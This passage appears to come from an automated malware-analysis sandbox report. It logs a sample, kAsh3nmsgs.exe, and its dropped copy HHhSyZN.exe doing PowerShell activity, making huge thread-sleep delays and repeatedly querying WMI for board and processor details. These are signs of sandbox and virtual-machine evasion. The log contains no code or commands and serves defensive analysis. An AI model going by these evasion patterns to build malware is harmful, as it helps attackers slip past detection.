Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6757	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Window / User API: threadDelayed 3617	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Window / User API: threadDelayed 6231	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Window / User API: threadDelayed 7846
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Window / User API: threadDelayed 2011

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 2676	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7268	Thread sleep count: 6710 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7488	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7420	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -99849s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -99718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -99609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -99500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -99390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -99280s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -99167s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -99059s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98246s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -97909s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -97796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -97565s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -97334s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -97192s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -97078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96858s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96202s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -96093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -95984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -95873s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -95765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -95656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -95546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1199047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe TID: 7688	Thread sleep time: -1198938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7560	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -99890s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -99781s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -99661s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -99531s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -99416s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -99312s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -99203s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -99093s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98982s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98874s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98764s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98629s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98500s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98390s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98281s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98171s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -98062s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97952s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97843s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97734s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97606s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97499s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97390s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97279s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97171s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -97062s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96952s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96843s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96728s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96620s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96515s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96406s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96296s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96187s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -96077s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1199875s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1199766s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1199641s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1199531s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1199422s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1199313s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1199188s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1199063s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1198953s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1198839s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1198734s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1198625s >= -30000s
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe TID: 7940	Thread sleep time: -1198515s >= -30000s

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 99849	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 99718	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 99609	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 99500	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 99390	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 99280	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 99167	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 99059	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98937	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98828	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98718	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98609	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98500	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98390	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98246	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98140	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 97909	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 97796	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 97565	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 97453	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 97334	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 97192	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 97078	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96968	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96858	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96750	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96640	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96531	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96421	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96312	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96202	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 96093	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 95984	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 95873	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 95765	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 95656	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 95546	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199969	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199844	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199734	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199625	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199516	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199407	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199282	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199157	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1199047	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Thread delayed: delay time: 1198938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 99890
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 99781
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 99661
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 99531
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 99416
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 99312
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 99203
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Thread delayed: delay time: 99093
